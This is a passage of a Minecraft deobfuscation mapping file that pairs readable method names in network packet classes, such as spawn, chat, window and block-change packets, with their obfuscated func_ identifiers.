net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/getY ()I net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148983_e ()I +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/getZ ()I net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148982_f ()I +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/getXPValue ()I net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148986_g ()I +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149052_c ()I net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149052_c ()I +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149051_d ()I net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149051_d ()I +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149050_e ()I net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149050_e ()I +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149049_f ()I net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149049_f ()I +MD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149053_g ()I net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/func_149053_g ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/func_149027_c ()Ljava/util/List; net/minecraft/network/play/server/S0FPacketSpawnMob/func_149027_c ()Ljava/util/List; +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0FPacketSpawnMob/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S0FPacketSpawnMob/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S0FPacketSpawnMob/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getEntityID ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149024_d ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0FPacketSpawnMob/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getEntityType ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149025_e ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getX ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149023_f ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getY ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149034_g ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getZ ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149029_h ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getVelocityX ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149026_i ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getVelocityY ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149033_j ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getVelocityZ ()I net/minecraft/network/play/server/S0FPacketSpawnMob/func_149031_k ()I +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getYaw ()B net/minecraft/network/play/server/S0FPacketSpawnMob/func_149028_l ()B +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getPitch ()B net/minecraft/network/play/server/S0FPacketSpawnMob/func_149030_m ()B +MD: net/minecraft/network/play/server/S0FPacketSpawnMob/getHeadPitch ()B net/minecraft/network/play/server/S0FPacketSpawnMob/func_149032_n ()B +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/getEntityID ()I net/minecraft/network/play/server/S10PacketSpawnPainting/func_148965_c ()I +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S10PacketSpawnPainting/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S10PacketSpawnPainting/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S10PacketSpawnPainting/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S10PacketSpawnPainting/func_179837_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S10PacketSpawnPainting/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/getFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/network/play/server/S10PacketSpawnPainting/func_179836_c ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/network/play/server/S10PacketSpawnPainting/getTitle ()Ljava/lang/String; net/minecraft/network/play/server/S10PacketSpawnPainting/func_148961_h ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148944_c ()Ljava/util/List; net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148944_c ()Ljava/util/List; +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getEntityID ()I net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148943_d ()I +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getPlayer ()Ljava/util/UUID; net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_179819_c ()Ljava/util/UUID; +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getX ()I net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148942_f ()I +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getY ()I net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148949_g ()I +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getZ ()I net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148946_h ()I +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getYaw ()B net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148941_i ()B +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getPitch ()B net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148945_j ()B +MD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/getCurrentItemID ()I net/minecraft/network/play/server/S0CPacketSpawnPlayer/func_148947_k ()I +MD: net/minecraft/network/play/server/S0BPacketAnimation/getEntityID ()I net/minecraft/network/play/server/S0BPacketAnimation/func_148978_c ()I +MD: net/minecraft/network/play/server/S0BPacketAnimation/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0BPacketAnimation/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0BPacketAnimation/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S0BPacketAnimation/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S0BPacketAnimation/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S0BPacketAnimation/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S0BPacketAnimation/getAnimationType ()I net/minecraft/network/play/server/S0BPacketAnimation/func_148977_d ()I +MD: net/minecraft/network/play/server/S0BPacketAnimation/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0BPacketAnimation/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S37PacketStatistics/func_148974_c ()Ljava/util/Map; net/minecraft/network/play/server/S37PacketStatistics/func_148974_c ()Ljava/util/Map; +MD: net/minecraft/network/play/server/S37PacketStatistics/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S37PacketStatistics/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S37PacketStatistics/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S37PacketStatistics/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S37PacketStatistics/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S37PacketStatistics/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S37PacketStatistics/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S37PacketStatistics/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/getBreakerId ()I net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_148845_c ()I +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_179821_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/getProgress ()I net/minecraft/network/play/server/S25PacketBlockBreakAnim/func_148846_g ()I +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/getPos ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_179823_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/getTileEntityType ()I net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_148853_f ()I +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/getNbtCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/network/play/server/S35PacketUpdateTileEntity/func_148857_g ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/network/play/server/S24PacketBlockAction/getBlockPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S24PacketBlockAction/func_179825_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S24PacketBlockAction/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S24PacketBlockAction/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S24PacketBlockAction/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S24PacketBlockAction/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S24PacketBlockAction/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S24PacketBlockAction/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S24PacketBlockAction/getData1 ()I net/minecraft/network/play/server/S24PacketBlockAction/func_148869_g ()I +MD: net/minecraft/network/play/server/S24PacketBlockAction/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S24PacketBlockAction/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S24PacketBlockAction/getData2 ()I net/minecraft/network/play/server/S24PacketBlockAction/func_148864_h ()I +MD: net/minecraft/network/play/server/S24PacketBlockAction/getBlockType ()Lnet/minecraft/block/Block; net/minecraft/network/play/server/S24PacketBlockAction/func_148868_c ()Lnet/minecraft/block/Block; +MD: net/minecraft/network/play/server/S23PacketBlockChange/getBlockState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/network/play/server/S23PacketBlockChange/func_180728_a ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/network/play/server/S23PacketBlockChange/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S23PacketBlockChange/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S23PacketBlockChange/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S23PacketBlockChange/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S23PacketBlockChange/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S23PacketBlockChange/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S23PacketBlockChange/getBlockPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S23PacketBlockChange/func_179827_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S23PacketBlockChange/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S23PacketBlockChange/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S41PacketServerDifficulty/isDifficultyLocked ()Z net/minecraft/network/play/server/S41PacketServerDifficulty/func_179830_a ()Z +MD: net/minecraft/network/play/server/S41PacketServerDifficulty/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S41PacketServerDifficulty/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S41PacketServerDifficulty/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S41PacketServerDifficulty/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S41PacketServerDifficulty/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S41PacketServerDifficulty/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S41PacketServerDifficulty/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/network/play/server/S41PacketServerDifficulty/func_179831_b ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/network/play/server/S41PacketServerDifficulty/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S41PacketServerDifficulty/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3APacketTabComplete/func_149630_c ()[Ljava/lang/String; net/minecraft/network/play/server/S3APacketTabComplete/func_149630_c ()[Ljava/lang/String; +MD: net/minecraft/network/play/server/S3APacketTabComplete/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3APacketTabComplete/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3APacketTabComplete/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S3APacketTabComplete/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S3APacketTabComplete/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S3APacketTabComplete/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S3APacketTabComplete/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3APacketTabComplete/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S02PacketChat/getChatComponent ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S02PacketChat/func_148915_c ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S02PacketChat/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S02PacketChat/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S02PacketChat/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S02PacketChat/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S02PacketChat/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S02PacketChat/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S02PacketChat/isChat ()Z net/minecraft/network/play/server/S02PacketChat/func_148916_d ()Z +MD: net/minecraft/network/play/server/S02PacketChat/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S02PacketChat/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S02PacketChat/getType ()B net/minecraft/network/play/server/S02PacketChat/func_179841_c ()B +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/getPos ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/func_180090_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/func_180089_b ()S net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/func_180089_b ()S +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/getBlockState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/func_180088_c ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange/getChangedBlocks ()[Lnet/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData; net/minecraft/network/play/server/S22PacketMultiBlockChange/func_179844_a ()[Lnet/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData; +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S22PacketMultiBlockChange/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S22PacketMultiBlockChange/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S22PacketMultiBlockChange/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange/access$000 (Lnet/minecraft/network/play/server/S22PacketMultiBlockChange;)Lnet/minecraft/world/ChunkCoordIntPair; net/minecraft/network/play/server/S22PacketMultiBlockChange/access$000 (Lnet/minecraft/network/play/server/S22PacketMultiBlockChange;)Lnet/minecraft/world/ChunkCoordIntPair; +MD: net/minecraft/network/play/server/S22PacketMultiBlockChange/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S22PacketMultiBlockChange/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/util/Util$EnumOS/values ()[Lnet/minecraft/util/Util$EnumOS; net/minecraft/util/Util$EnumOS/values ()[Lnet/minecraft/util/Util$EnumOS; +MD: net/minecraft/util/Util/getOSType ()Lnet/minecraft/util/Util$EnumOS; net/minecraft/util/Util/func_110647_a ()Lnet/minecraft/util/Util$EnumOS; +MD: net/minecraft/util/Util/runTask (Ljava/util/concurrent/FutureTask;Lorg/apache/logging/log4j/Logger;)Ljava/lang/Object; net/minecraft/util/Util/func_181617_a (Ljava/util/concurrent/FutureTask;Lorg/apache/logging/log4j/Logger;)Ljava/lang/Object; +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/getWindowId ()I net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148889_c ()I +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/getActionNumber ()S net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148890_d ()S +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148888_e ()Z net/minecraft/network/play/server/S32PacketConfirmTransaction/func_148888_e ()Z +MD: net/minecraft/network/play/server/S2EPacketCloseWindow/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2EPacketCloseWindow/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2EPacketCloseWindow/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S2EPacketCloseWindow/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S2EPacketCloseWindow/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S2EPacketCloseWindow/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S2EPacketCloseWindow/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2EPacketCloseWindow/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/getWindowId ()I net/minecraft/network/play/server/S2DPacketOpenWindow/func_148901_c ()I +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2DPacketOpenWindow/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S2DPacketOpenWindow/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S2DPacketOpenWindow/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/getGuiId ()Ljava/lang/String; net/minecraft/network/play/server/S2DPacketOpenWindow/func_148902_e ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2DPacketOpenWindow/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/getWindowTitle ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S2DPacketOpenWindow/func_179840_c ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/getSlotCount ()I net/minecraft/network/play/server/S2DPacketOpenWindow/func_148898_f ()I +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/getEntityId ()I net/minecraft/network/play/server/S2DPacketOpenWindow/func_148897_h ()I +MD: net/minecraft/network/play/server/S2DPacketOpenWindow/hasSlots ()Z net/minecraft/network/play/server/S2DPacketOpenWindow/func_148900_g ()Z +MD: net/minecraft/network/play/server/S30PacketWindowItems/func_148911_c ()I net/minecraft/network/play/server/S30PacketWindowItems/func_148911_c ()I +MD: net/minecraft/network/play/server/S30PacketWindowItems/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S30PacketWindowItems/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S30PacketWindowItems/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S30PacketWindowItems/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S30PacketWindowItems/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S30PacketWindowItems/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S30PacketWindowItems/getItemStacks ()[Lnet/minecraft/item/ItemStack; net/minecraft/network/play/server/S30PacketWindowItems/func_148910_d ()[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/play/server/S30PacketWindowItems/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S30PacketWindowItems/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S31PacketWindowProperty/getWindowId ()I net/minecraft/network/play/server/S31PacketWindowProperty/func_149182_c ()I +MD: net/minecraft/network/play/server/S31PacketWindowProperty/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S31PacketWindowProperty/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S31PacketWindowProperty/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S31PacketWindowProperty/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S31PacketWindowProperty/processPacket 